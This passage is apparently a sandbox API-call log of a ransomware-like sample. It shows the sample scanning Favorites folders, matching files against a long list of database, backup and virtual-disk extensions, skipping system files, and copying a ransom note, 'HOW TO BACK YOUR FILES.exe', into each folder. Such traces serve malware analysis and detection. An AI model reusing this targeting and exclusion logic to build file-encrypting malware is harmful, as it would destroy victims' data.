	[0036.774] lstrlenW (lpString="orx") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.774] lstrlenW (lpString="owc") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.774] lstrlenW (lpString="p96") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.774] lstrlenW (lpString="p97") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.774] lstrlenW (lpString="pan") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.774] lstrlenW (lpString="pdb") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.774] lstrlenW (lpString="pdm") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.774] lstrlenW (lpString="pnz") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.774] lstrlenW (lpString="qry") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.774] lstrlenW (lpString="qvd") returned 3
	[0036.774] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.775] lstrlenW (lpString="rbf") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.775] lstrlenW (lpString="rctd") returned 4
	[0036.775] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.775] lstrlenW (lpString="rod") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.775] lstrlenW (lpString="rodx") returned 4
	[0036.775] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.775] lstrlenW (lpString="rpd") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.775] lstrlenW (lpString="rsd") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.775] lstrlenW (lpString="sas7bdat") returned 8
	[0036.775] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.775] lstrlenW (lpString="sbf") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.775] lstrlenW (lpString="scx") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.775] lstrlenW (lpString="sdb") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.775] lstrlenW (lpString="sdc") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.775] lstrlenW (lpString="sdf") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.775] lstrlenW (lpString="sis") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.775] lstrlenW (lpString="spq") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.775] lstrlenW (lpString="te") returned 2
	[0036.775] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.775] lstrlenW (lpString="teacher") returned 7
	[0036.775] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.775] lstrlenW (lpString="tmd") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.775] lstrlenW (lpString="tps") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.775] lstrlenW (lpString="trc") returned 3
	[0036.775] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.776] lstrlenW (lpString="trc") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.776] lstrlenW (lpString="trm") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.776] lstrlenW (lpString="udb") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.776] lstrlenW (lpString="udl") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.776] lstrlenW (lpString="usr") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.776] lstrlenW (lpString="v12") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.776] lstrlenW (lpString="vis") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.776] lstrlenW (lpString="vpd") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.776] lstrlenW (lpString="vvv") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.776] lstrlenW (lpString="wdb") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.776] lstrlenW (lpString="wmdb") returned 4
	[0036.776] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.776] lstrlenW (lpString="wrk") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.776] lstrlenW (lpString="xdb") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.776] lstrlenW (lpString="xld") returned 3
	[0036.776] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.776] lstrlenW (lpString="xmlff") returned 5
	[0036.776] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.776] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e164a90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e164a90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.776] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.776] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0036.776] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.776] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0036.776] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0036.776] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0036.776] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0036.777] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0036.777] lstrlenW (lpString="Links") returned 5
	[0036.777] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\desktop.ini") returned 38
	[0036.777] lstrcpyW (in: lpString1=0x2d3e586, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0036.777] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Links", dwFileAttributes=0x10) returned 1
	[0036.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0036.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5bde88
	[0036.777] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0036.777] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="Apollon865.txt.exe") returned 1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2=".") returned 1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="..") returned 1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="windows") returned -1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="bootmgr") returned 1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="temp") returned -1
	[0036.777] lstrcmpiW (lpString1="Microsoft Websites", lpString2="pagefile.sys") returned -1
	[0036.778] lstrcmpiW (lpString1="Microsoft Websites", lpString2="boot") returned 1
	[0036.778] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ids.txt") returned 1
	[0036.778] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ntuser.dat") returned -1
	[0036.778] lstrcmpiW (lpString1="Microsoft Websites", lpString2="perflogs") returned -1
	[0036.778] lstrcmpiW (lpString1="Microsoft Websites", lpString2="MSBuild") returned -1
	[0036.778] lstrlenW (lpString="Microsoft Websites") returned 18
	[0036.778] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links") returned 32
	[0036.778] lstrcpyW (in: lpString1=0x2d3e586, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites"
	[0036.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0036.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0036.778] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7b30
	[0036.778] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="Apollon865.txt.exe") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2=".") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="..") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="windows") returned -1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="bootmgr") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="temp") returned -1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="pagefile.sys") returned -1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="boot") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="ids.txt") returned 1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="ntuser.dat") returned -1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="perflogs") returned -1
	[0036.778] lstrcmpiW (lpString1="MSN Websites", lpString2="MSBuild") returned 1
	[0036.778] lstrlenW (lpString="MSN Websites") returned 12
	[0036.778] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned 45
	[0036.778] lstrcpyW (in: lpString1=0x2d3e586, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites"
	[0036.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0036.778] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc908
	[0036.778] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7c50
	[0036.778] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
	[0036.778] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.778] lstrcmpiW (lpString1="Windows Live", lpString2="Apollon865.txt.exe") returned 1
	[0036.778] lstrcmpiW (lpString1="Windows Live", lpString2=".") returned 1
	[0036.778] lstrcmpiW (lpString1="Windows Live", lpString2="..") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="windows") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="bootmgr") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="temp") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="pagefile.sys") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="boot") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="ids.txt") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="ntuser.dat") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="perflogs") returned 1
	[0036.779] lstrcmpiW (lpString1="Windows Live", lpString2="MSBuild") returned 1
	[0036.779] lstrlenW (lpString="Windows Live") returned 12
	[0036.779] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites") returned 39
	[0036.779] lstrcpyW (in: lpString1=0x2d3e586, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live"
	[0036.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0036.779] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc960
	[0036.779] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0036.779] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
	[0036.779] FindClose (in: hFindFile=0x5ca290 | out: hFindFile=0x5ca290) returned 1
	[0036.779] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0036.779] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Favorites\\Windows Live", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live"
	[0036.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc960 | out: hHeap=0x580000) returned 1
	[0036.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0036.779] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live") returned 39
	[0036.779] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\Windows Live" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live") returned="C:\\Users\\Default\\Favorites\\Windows Live"
	[0036.779] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.786] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.786] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e18abf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca290
	[0036.786] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.786] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.786] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.786] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e18abf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e18abf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.786] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.786] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.786] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.786] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.786] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".") returned 1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="..") returned 1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="windows") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="bootmgr") returned 1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="temp") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="pagefile.sys") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="boot") returned 1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ids.txt") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="ntuser.dat") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="perflogs") returned -1
	[0036.786] lstrcmpiW (lpString1="Get Windows Live.url", lpString2="MSBuild") returned -1
	[0036.786] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0036.786] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Windows Live\\*") returned 41
	[0036.786] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Get Windows Live.url" | out: lpString1="Get Windows Live.url") returned="Get Windows Live.url"
	[0036.786] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0036.787] lstrlenW (lpString="Apollon865") returned 10
	[0036.787] lstrcmpiW (lpString1="s Live.url", lpString2="Apollon865") returned 1
	[0036.787] lstrlenW (lpString=".dll") returned 4
	[0036.787] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".dll") returned 1
	[0036.787] lstrlenW (lpString=".lnk") returned 4
	[0036.787] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".lnk") returned 1
	[0036.787] lstrlenW (lpString=".ini") returned 4
	[0036.787] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".ini") returned 1
	[0036.787] lstrlenW (lpString=".sys") returned 4
	[0036.787] lstrcmpiW (lpString1="Get Windows Live.url", lpString2=".sys") returned 1
	[0036.787] lstrlenW (lpString="Get Windows Live.url") returned 20
	[0036.787] lstrlenW (lpString="bak") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.787] lstrlenW (lpString="ba_") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.787] lstrlenW (lpString="dbb") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.787] lstrlenW (lpString="vmdk") returned 4
	[0036.787] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.787] lstrlenW (lpString="rar") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.787] lstrlenW (lpString="zip") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.787] lstrlenW (lpString="tgz") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.787] lstrlenW (lpString="vbox") returned 4
	[0036.787] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.787] lstrlenW (lpString="vdi") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.787] lstrlenW (lpString="vhd") returned 3
	[0036.787] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.787] lstrlenW (lpString="vhdx") returned 4
	[0036.787] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.787] lstrlenW (lpString="avhd") returned 4
	[0036.787] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.787] lstrlenW (lpString="db") returned 2
	[0036.787] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.787] lstrlenW (lpString="db2") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.788] lstrlenW (lpString="db3") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.788] lstrlenW (lpString="dbf") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.788] lstrlenW (lpString="mdf") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.788] lstrlenW (lpString="mdb") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.788] lstrlenW (lpString="sql") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.788] lstrlenW (lpString="sqlite") returned 6
	[0036.788] lstrcmpiW (lpString1="ve.url", lpString2="sqlite") returned 1
	[0036.788] lstrlenW (lpString="sqlite3") returned 7
	[0036.788] lstrcmpiW (lpString1="ive.url", lpString2="sqlite3") returned -1
	[0036.788] lstrlenW (lpString="sqlitedb") returned 8
	[0036.788] lstrcmpiW (lpString1="Live.url", lpString2="sqlitedb") returned -1
	[0036.788] lstrlenW (lpString="xml") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.788] lstrlenW (lpString="$er") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.788] lstrlenW (lpString="4dd") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.788] lstrlenW (lpString="4dl") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.788] lstrlenW (lpString="^^^") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.788] lstrlenW (lpString="abs") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.788] lstrlenW (lpString="abx") returned 3
	[0036.788] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.788] lstrlenW (lpString="accdb") returned 5
	[0036.788] lstrcmpiW (lpString1="e.url", lpString2="accdb") returned 1
	[0036.788] lstrlenW (lpString="accdc") returned 5
	[0036.788] lstrcmpiW (lpString1="e.url", lpString2="accdc") returned 1
	[0036.788] lstrlenW (lpString="accde") returned 5
	[0036.788] lstrcmpiW (lpString1="e.url", lpString2="accde") returned 1
	[0036.788] lstrlenW (lpString="accdr") returned 5
	[0036.789] lstrcmpiW (lpString1="e.url", lpString2="accdr") returned 1
	[0036.789] lstrlenW (lpString="accdt") returned 5
	[0036.789] lstrcmpiW (lpString1="e.url", lpString2="accdt") returned 1
	[0036.789] lstrlenW (lpString="accdw") returned 5
	[0036.789] lstrcmpiW (lpString1="e.url", lpString2="accdw") returned 1
	[0036.789] lstrlenW (lpString="accft") returned 5
	[0036.789] lstrcmpiW (lpString1="e.url", lpString2="accft") returned 1
	[0036.789] lstrlenW (lpString="adb") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.789] lstrlenW (lpString="adb") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.789] lstrlenW (lpString="ade") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.789] lstrlenW (lpString="adf") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.789] lstrlenW (lpString="adn") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.789] lstrlenW (lpString="adp") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.789] lstrlenW (lpString="alf") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.789] lstrlenW (lpString="ask") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.789] lstrlenW (lpString="btr") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.789] lstrlenW (lpString="cat") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.789] lstrlenW (lpString="cdb") returned 3
	[0036.789] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.789] lstrlenW (lpString="ckp") returned 3
